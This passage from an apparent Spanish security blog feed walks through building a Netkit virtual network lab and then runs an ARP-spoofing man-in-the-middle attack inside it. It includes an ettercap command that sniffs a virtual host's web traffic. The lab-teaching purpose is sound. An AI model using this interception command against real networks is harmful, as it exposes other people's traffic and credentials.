]; then&lt;br /&gt; # This is an Internet connected hub&lt;br /&gt;@@ -328,7 +328,7 @@&lt;br /&gt; startInetHub "$ACTUAL_HUB_NAME" "$TAP_ADDRESS" "$GUEST_ADDRESS"&lt;br /&gt;else&lt;br /&gt; # This is a normal hub&lt;br /&gt;-         startHub "$1"&lt;br /&gt;+         startHub "$HUB_NAME"&lt;br /&gt;fi&lt;br /&gt;shift&lt;br /&gt;done&lt;br /&gt;========================================================&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;Una manera de aplicar este patch es crear un fichero de texto en $NETKIT_HOME/bin/ llamado patch2_6_bug con el texto del patch y acto seguido hacer:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:/usr/share/netkit/bin$ &lt;span style="font-weight: bold;"&gt;sudo patch sc&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;ript_utils patch2_6_bug&lt;/span&gt;&lt;br /&gt;patching file script_utils&lt;br /&gt;dante@Hades:/usr/share/netkit/bin$&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;Con esto se acaba la peor parte: la configuración previa de Netkit. Lo bueno es que sólo hay que hacerlo una vez, a partir de ahora sólo tendremos que preocuparnos de crear buenos laboratorios.&lt;br /&gt;&lt;br /&gt;Para empezar con el nuestro, tendremos que crear una carpeta para contener el árbol de directorios y los ficheros de configuración. En esa carpeta crearemos el fichero principal de configuración  del laboratorio: &lt;span style="font-style: italic;"&gt;lab.conf. &lt;/span&gt;Ese fichero podemos meter todos aquellos parámetros que usaríamos con &lt;span style="font-style: italic;"&gt;vstart &lt;/span&gt;para definir una máquina individual&lt;span style="font-style: italic;"&gt;.&lt;/span&gt; Podemos definir cuantos interfaces tendrá cada nodo y a qué dominio de colisión pertenecerá cada uno (hay que recordar que, a diferencia de los hubs, los switches definen un dominio de colisión diferente para cada uno de sus puertos). Otro elemento que se puede definir es la memoria RAM que usará cada máquina. También se puede incluir información para catalogar el laboratorio como su autor, una sinopsis, versión, etc. En nuestro caso, el fichero&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt; lab.conf &lt;/span&gt;&lt;/span&gt;será el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;cat lab.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;LAB_DESCRIPTION="Laboratorio para simular un ataque de ARP-Spoofing"&lt;br /&gt;LAB_VERSION="0.1"&lt;br /&gt;LAB_AUTHOR="Dante"&lt;br /&gt;LAB_EMAIL="dante.signal31@gmail.com"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;LAB_WEB="http://danteslab.blogspot.com/"&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;PC-Alice[mem]=100&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;PC-Sniffer[mem]=100&lt;br /&gt;Router[mem]=100&lt;br /&gt;Switch[mem]=100&lt;br /&gt;&lt;br /&gt;PC-Alice[0]=CD-A&lt;br /&gt;Switch[1]=CD-A&lt;br /&gt;&lt;br /&gt;PC-Sniffer[0]=CD-C&lt;br /&gt;Switch[2]=CD-C&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Router[1]=CD-B&lt;br /&gt;Switch[0]=CD-B&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Router[0]=tap,192.168.10.1,192.168.10.2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;La última línea configura el interfaz eth0 del Router como &lt;span style="font-style: italic;"&gt;tap&lt;/span&gt;. Eso equivale a establecer una línea punto a punto entre la máquina virtual Router (192.168.10.2) y nuestro PC real (192.168.10.1 ) a través de la cual Router podrá salir a Internet utilizando nuestro PC como puerta de enlace. De hecho si cuando arranquemos el laboratorio hacemos un &lt;span style="font-style: italic;"&gt;ifconfig&lt;/span&gt; en nuestro PC veremos que se ha creado un interfaz llamado &lt;span style="font-style: italic;"&gt;nk_tap_root&lt;/span&gt; con la IP 192.168.10.1. En cuanto a la ruta por defecto, Netkit se encarga de meter una ruta estática en Router apuntando a la 192.168.10.1. Todo esto permite que Router salga a Internet normalmente pero si además queremos que salgan el resto de los PCs de la red virtual (utilizando a Router y a nuestro PC como saltos hacia Internet) tendremos que añadir una ruta en nuestro PC real hacia la red virtual:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;blockquote&gt;dante@Hades:~$ &lt;span style="font-weight: bold;"&gt;sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.10.2&lt;/span&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;Ahora, dentro de la carpeta del laboratorio crearemos un subdirectorio por cada máquina virtual que vaya a utilizarse.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; &lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs$ &lt;span style="font-weight: bold;"&gt;mkdir lab_sniffing_sw&lt;/span&gt;&lt;br /&gt;dante@Hades:~/netkit_labs$ &lt;span style="font-weight: bold;"&gt;cd lab_sniffing_sw/&lt;/span&gt;&lt;br /&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;mkdir Router&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;mkdir Switch&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;mkdir PC-Alice&lt;/span&gt;&lt;br /&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;mkdir PC-Sniffer&lt;br /&gt;&lt;/span&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;ls&lt;/span&gt;&lt;br /&gt;PC-Alice  PC-Sniffer  Router&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$&lt;/span&gt; &lt;/blockquote&gt;&lt;br /&gt;Los subdirectorios de las máquinas virtuales pueden quedarse vacíos o utilizarse para depositar ficheros que luego aparecerían en la máquina virtual. Por ejemplo si quisieramos que PC-Alice contase con el script X en /usr/bin, crearíamos la carpeta &lt;span style="font-style: italic;font-size:100%;" &gt;"/netkit_labs/lab_sniffing_sw/PC-A&lt;/span&gt;&lt;span style="font-style: italic;"&gt;lice/usr/bin"&lt;/span&gt; y depositaríamos ahí una copia del script. En nuestro caso lo que haremos será poner en el directorio &lt;span style="font-style: italic;"&gt;/etc/&lt;/span&gt; de cada equipo los ficheros necesarios para que se configuren los recursos de red de manera adecuada.&lt;br /&gt;Para el caso de Alice, quedará de la siguiente manera:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$&lt;/span&gt; &lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;cat ./PC-Alice/etc/network/interfaces&lt;/span&gt;&lt;br /&gt;auto lo eth0&lt;br /&gt;iface lo inet loopback&lt;br /&gt;address 127.0.0.1&lt;br /&gt;netmask 255.0.0.0&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;iface eth0 inet static&lt;br /&gt;address 192.168.0.2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;netmask 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;gateway 192.168.0.1&lt;/span&gt; &lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;El PC-Sniffer tendrá la siguiente configuración de red:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw&lt;/span&gt; &lt;span style="font-size:85%;"&gt;$&lt;/span&gt; &lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;cat ./PC-Sniffer/etc/network/interfaces&lt;/span&gt;&lt;br /&gt;auto lo eth0&lt;br /&gt;iface lo inet loopback&lt;br /&gt;address 127.0.0.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;netmask 255.0.0.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;iface eth0 inet static&lt;br /&gt;address 192.168.0.3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;netmask 255.255.255.0&lt;br /&gt;gateway 192.168.0.1&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;El Router tendrá la siguiente configuración de red:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw&lt;/span&gt; &lt;span style="font-size:85%;"&gt;$&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;cat ./Router/etc/network/interfaces&lt;/span&gt;&lt;br /&gt;auto lo eth1&lt;br /&gt;iface lo inet loopback&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:85%;"&gt;address 127.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:85%;"&gt;netmask 255.0.0.0&lt;br /&gt;&lt;br /&gt;iface eth1 inet static&lt;br /&gt;address 192.168.0.1&lt;br /&gt;netmask 255.255.255.0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Además, si queremos que nuestras máquinas virtuales puedan hacer resoluciones DNS (indispensable si queremos instalar paquetes con &lt;span style="font-style: italic;"&gt;apt&lt;/span&gt; o navegar con &lt;span style="font-style: italic;"&gt;lynx&lt;/span&gt;), tendremos que incluir un fichero &lt;span style="font-style: italic;"&gt;/etc/resolv.conf &lt;/span&gt;en cada una de las máquinas virtuales igual que hicimo &lt;/span&gt;&lt;span style="font-size:100%;"&gt;s con&lt;span style="font-style: italic;"&gt; /etc/network/interfaces&lt;/span&gt;. Una copia del contenido del fichero &lt;span style="font-style: italic;"&gt;/etc&lt;/span&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-style: italic;"&gt;/resolv.conf&lt;/span&gt; de nuestro PC real valdrá.&lt;br /&gt;&lt;br /&gt;Por último queda configurar el switch y decidir qué servicios se van a arrancar en cada máquina virtual. Precisamente para eso, Netkit permite definir qué comandos se ejecutarán durante el arranque y el apagado de las máquinas virtuales mediante los scripts &lt;span style="font-style: italic;"&gt;startup&lt;/span&gt; y &lt;span style="font-style: italic;"&gt;shutdown&lt;/span&gt; respectivamente. Para nuestro laboratorio crearemos los siguie &lt;/span&gt;&lt;span style="font-size:100%;"&gt;ntes scripts:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$&lt;/span&gt; &lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;cat Switch.startup&lt;/span&gt;&lt;br /&gt;ifconfig eth0 up&lt;br /&gt;ifconfig eth1 up&lt;br /&gt;ifconfig eth2 up&lt;br /&gt;brctl addbr br0&lt;br /&gt;brctl addif br0 eth0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;brctl addif br0 eth1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;brctl addif br0 eth2&lt;br /&gt;brctl stp br0 on&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;ifconfig br0 up&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;Este script configura un bridge tras el arranque de la máquina Switch incorporando a dicho bridge los puertos eth0, eth1 y eth2 y activando también el &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;spanning-tree&lt;/span&gt;&lt;span style="font-size:100%;"&gt; (innecesario en este caso porque sólo hay un switch pero se trata de una costumbre que deberíamos adquirir).&lt;br /&gt;Los comandos de startup del resto de las  máquinas son más sencillos ya que lo único que hacen es iniciar el servic io de red:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;cat Router.startup&lt;/span&gt;&lt;br /&gt;/etc/init.d/networking start&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;cat PC-Alice.startup&lt;/span&gt;&lt;br /&gt;/etc/init.d/networking start&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw&lt;/span&gt; &lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;cat PC-Sniffer.startup&lt;/span&gt;&lt;br /&gt;/etc/init.d/networking start&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Este ejemplo es muy sencillo, pero gracias a estos scripts podemos hacer que un laboratorio se configure sólo sin que el u suario final que lo pruebe tenga que molestarse en tocar o instalar nada. De hecho lo más cómodo es configurar las direcciones IP de los interfaces y las rutas a través de estos scripts en vez de copiando los ficheros de configuración en la carpeta /etc de cada máquina, pero dar ese rodeo me ha permitido explic ar la posibilidad de introducir archivos en el árbol de directorios de las máquinas virtuales.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Ahora, por fin, ha llegado el momento de &lt;/span&gt;&lt;span style="font-size:100%;"&gt; arrancar nuestro laboratorio. Los laboratorios se arrancan con la orden &lt;span style="font-style: italic;"&gt;lstart&lt;/span&gt; y se paran con &lt;span style="font-style: italic;"&gt;lhalt&lt;/span&gt;. Veamos lo que pasa en nuestro caso:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$ &lt;span style="font-weight: bold;"&gt;sudo lstart&lt;/span&gt;&lt;br /&gt;[sudo] password for &lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;033[1m======================== Starting lab ===========================033[0m&lt;br /&gt;Lab directory: /home/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sn&lt;/span&gt; &lt;span style="font-size:85%;"&gt;iffing_sw&lt;br /&gt;Version:       0.1&lt;br /&gt;Author:        Dante&lt;br /&gt;Email:         dante.signal31@gmail.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Web:           http://danteslab.blogspot.com/&lt;br /&gt;Description:&lt;br /&gt;Laboratorio para simular un ataque de ARP-Spoofing&lt;br /&gt;033[1m=================================================================033[0m&lt;br /&gt;033[1mStarting "PC-Alice" with options "-q --mem=100 --eth0 CD-A --hostlab=/home/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sniffing_sw --hostwd=/ho&lt;/span&gt; &lt;span style="font-size:85%;"&gt;me/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sniffing_sw"... 033[0m&lt;br /&gt;033[1mStarting "PC-Sniffer" with options "-q --mem=100 --eth0 CD-C --hostlab=/home/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sniffing_sw --hostwd=/hom&lt;/span&gt; &lt;span style="font-size:85%;"&gt;e/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sniffing_sw"... 033[0m&lt;br /&gt;033[1mStarting "Router" with options "-q --mem=100 --eth1 CD-B --eth0 tap,192.168.10.1,192.168.10.2 --hostlab=/home/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sniffing_sw --hostwd=/home/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sniffing_sw"... 033[0m&lt;br /&gt;033[1mStarting "Switch" with options "-q --mem=100 --eth1 CD-A --eth2 CD-C --eth0 CD-B --hostlab=/home/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sniffing_sw --hostwd=/home/&lt;/span&gt;&lt;span style="font-size:85%;"&gt;dante/netkit_labs/lab_sniffing_sw"... 033[0m&lt;br /&gt;&lt;br /&gt;033[1mThe lab has been started.033[0m&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;033[1m=====================&lt;/span&gt; &lt;span style="font-size:85%;"&gt;============================================033[0m&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;dante@Hades:~/netkit_labs/lab_sniffing_sw$&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;Para comprobar que la red resultante funciona podemos probar a navegar por Internet con el &lt;span style="font-style: italic;"&gt;lynx&lt;/span&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;desde PC-Alice:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre&gt;&lt;pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/SNqWFLMoZMI/AAAAAAAAAGE/uhkY54PcuQA/s1600-h/navegando_con_el_lynx.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_czXkQpCMagk/SNqWFLMoZMI/AAAAAAAAAGE/uhkY54PcuQA/s400/navegando_con_el_lynx.png" alt="" id="BLOGGER_PHOTO_ID_5249673331303015618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Ahora que hemos comprobado que nuestra red funciona vamos darle un uso a nuestro laboratorio realizando el experimento que mencionábamos al comienzo del artículo: un ataque de ARP-Spoofing contra Alice desde PC-Sniffer.&lt;br /&gt;&lt;br /&gt;Como se puede ver en la foto anterior&lt;/span&gt;&lt;span style="font-size:100%;"&gt;, PC-Sniffer tiene activado un tcpdump, pero sólo ve el tráfico de spanning tree (STP) emitido por el switch. A diferencia de la red del artículo anterior en la que se simulaba un hub, en esta el switch no replica el tráfico por todos sus puertos sino sólo en el puerto al que se conecta el destinatario de los datos.&lt;br /&gt;&lt;br /&gt;Para espiar el tráfico habrá que situarse entre Router y PC-Alice haciendoles creer que hablan entre sí cuando en relidad su interlocutor es PC-Sniffer.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;Lo haremos usando la herramienta Ettercap, que ya viene instalada por defecto en el Debian que trae Netkit (si no, podríamos haberla instalado con un simple "#aptitude install ettercap", como haríamos en nuestro PC real). Ettercap permite hacer intercepciones en redes conmutadas. En realidad es una pequeña maravilla que merece un artículo para ella sola. Aquí usaremos Ettercap desde el PC-Sniffer para espiar el tráfico web de Alice. Para activar un ataque de ARP-Spoofing (también llamado ARP-Poisoning) con Ettercap la orden sería:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;PC-Sniffer# &lt;span style="font-weight: bold;"&gt;ettercap -M arp:remote -T /192.168.0.1/ /192.168.0.2/&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Inmediatamente la pantalla de PC-Sniffer empieza a sacar el contenido de los datos que PC-Alice intercambia con su puerta de enlace, Router, mientras navega por Internet:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt; &lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/SNqxe4VSJCI/AAAAAAAAAGM/YDtMGJisoEc/s1600-h/ataque_mitm.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_czXkQpCMagk/SNqxe4VSJCI/AAAAAAAAAGM/YDtMGJisoEc/s400/ataque_mitm.png" alt="" id="BLOGGER_PHOTO_ID_5249703459729581090" border="0" /&gt;&lt;/a&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Para parar el laboratorio sólo tenemos que hacer "&lt;span style="font-weight: bold;"&gt;sudo lhalt&lt;/span&gt;" desde el directorio raíz del laboratorio (donde lanzamos antes el lstart). Si quisieramos relanzar el laboratorio debemos tener en cuenta que hay que volver a meter la ruta hacia la red virtual ya que la que dimos de alta antes desapareció cuando lhalt desactivó el interfaz tap. Por otro lado, el lstart creo ficheros .disk en la carpeta del laboratorio para que no se pierdan los programas que hayamos instalado en las máquinas virtuales o cualquier otra modificación que hayamos hecho, eso quiere decir que las carpetas donde pusimos los ficheros de configuración dejan de tener efecto por lo que si queremos poner nuevos ficheros allí primero tendremos que borrar los ficheros .disk y hacer un lstart para que Netkit vuelva a leer esas carpetas. Existe otra opción más útil para transferir ficheros a las máquinas virtuales y es mediante la carpeta &lt;span style="font-style: italic;"&gt;/hosthome &lt;/span&gt;que hay en todas las máquinas virtuales y que monta el home del usuario que lanzó el Netkit.&lt;br /&gt;&lt;br /&gt;En otro artículo explicaré qué es lo que hace Ettercap entre bastidores y cómo funcionan esta y otras técnicas de interceptación. Este artículo lo que ha servido es para demostrar la utilidad de Netkit a la hora de simular redes complejas con las que hacer experimentos de seguridad informática con un ahorro considerable tanto en esfuerzo, como en dinero y espacio. Supone también una ayuda valiosísima para los que pretendemos divulgar el arte de la seguridad informática, ya que nos permite ofrecer a nuestros lectores laboratorios preconfigurados que les permitirán concentrarse exclusivamente en las técnicas explicadas sin que tengan que perder el tiempo montando una red de prueba propia. Por ello, mis artículos futuros incluirán enlaces a laboratorios de Netkit especialmente diseñados para probar de una manera rápida y sencilla lo que se explique en ellos.&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-3493309667978379467?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FAkDFVoea2zpTPcf9-yd9tztPVE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FAkDFVoea2zpTPcf9-yd9tztPVE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FAkDFVoea2zpTPcf9-yd9tztPVE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FAkDFVoea2zpTPcf9-yd9tztPVE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/VlLv_vdKeKw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/3493309667978379467/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=3493309667978379467" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3493309667978379467?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3493309667978379467?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/VlLv_vdKeKw/creacin-de-laboratorios-virtuales-con.html" title="Creación de laboratorios virtuales con Netkit (II)" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_czXkQpCMagk/SMuTcWCpr1I/AAAAAAAAAFs/0y_Pj_4WQNI/s72-c/Diagrama_del_laboratorio.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/10/creacin-de-laboratorios-virtuales-con.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkIERnszeSp7ImA9WxBRE0o.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-2350844869404053933</id><published>2008-09-12T20:24:00.006+02:00</published><updated>2010-01-01T21:41:47.581+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-01T21:41:47.581+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="virtualización" /><title>Creación de laboratorios virtuales con Netkit (I)</title><content type="html">&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/SMblIsB9oGI/AAAAAAAAAE8/gs9GPcm6m9w/s1600-h/virtualization.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 196px; height: 169px;" src="http://4.bp.blogspot.com/_czXkQpCMagk/SMblIsB9oGI/AAAAAAAAAE8/gs9GPcm6m9w/s320/virtualization.jpg" alt="" id="BLOGGER_PHOTO_ID_5244130753540628578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Avanzar en el campo de la Ingeniería de Seguridad requiere un aprendizaje constante en múltiples disciplinas. Este aprendizaje es en gran parte teórico pero para ser plenamente efectivo necesita ponerse en práctica. Un ingeniero de seguridad debe ser capaz de ponerse en el lugar de un atacante y predecir con razonable certeza cual será su próximo paso. Pero esto resulta complicado ya que un ingeniero no puede ir por ahí atacando redes con la excusa de que está aprendiendo cómo lo hacen los malos de la película.&lt;br /&gt;&lt;br /&gt;Hasta hace poco, la única opción de la que disponían los estudiosos de la seguridad era montar un laboratorio en casa juntando ordenadores de bajo coste y equipamiento de red. Desgraciadamente esto era caro, consumía un espacio cada vez más escaso en las casas modernas y ponía en tu contra a la pareja/conyuge/padre/madre que no entendían a qué venía tanto cable. Por suerte, la era de la virtualización acudió al rescate con lo que hoy en día es posible montar complejos laboratorios virtuales dentro de nuestro ordenador.&lt;br /&gt;&lt;br /&gt;La opción más sencilla son las máquinas virtuales individuales del tipo &lt;a href="http://www.blogger.com/www.vmware.com"&gt;VMWare &lt;/a&gt;o &lt;a href="http://www.blogger.com/www.virtualbox.org"&gt;VirtualBox&lt;/a&gt;, que resultan ideales para probar herramientas, rootkit, vulnerabilidades, etc en distintos sistemas operativos sin poner en peligro nuestro propio ordenador. Iniciando varias de estas máquinas virtuales se pueden hacer pruebas de red simulando una LAN. Incluso circulan por &lt;a href="http://observatorio.cnice.mec.es/modules.php?op=modload&amp;amp;name=News&amp;amp;file=article&amp;amp;sid=472&amp;amp;mode=thread&amp;amp;order=0&amp;amp;thold=0"&gt;ahí&lt;/a&gt; tutoriales para simular topologías más complejas mediante VMWare. Sin embargo, llevar hasta ese punto tales herramientas puede exigir consumir unos recursos a nuestro ordenador con los que puede que no contemos.&lt;br /&gt;&lt;br /&gt;La otra opción se llama &lt;a href="http://www.netkit.org/index.html"&gt;Netkit&lt;/a&gt;, desarrollado en la Universidad de Roma. Está enfocado no tanto a la emulación de equipos concretos sino de redes completas. Netkit nos permite definir una topología de red y hacer pruebas con ella. Para ello iniciaremos una serie de nodos que no son sino instancias virtuales de &lt;a href="http://www.blogger.com/www.debian.org"&gt;Linux 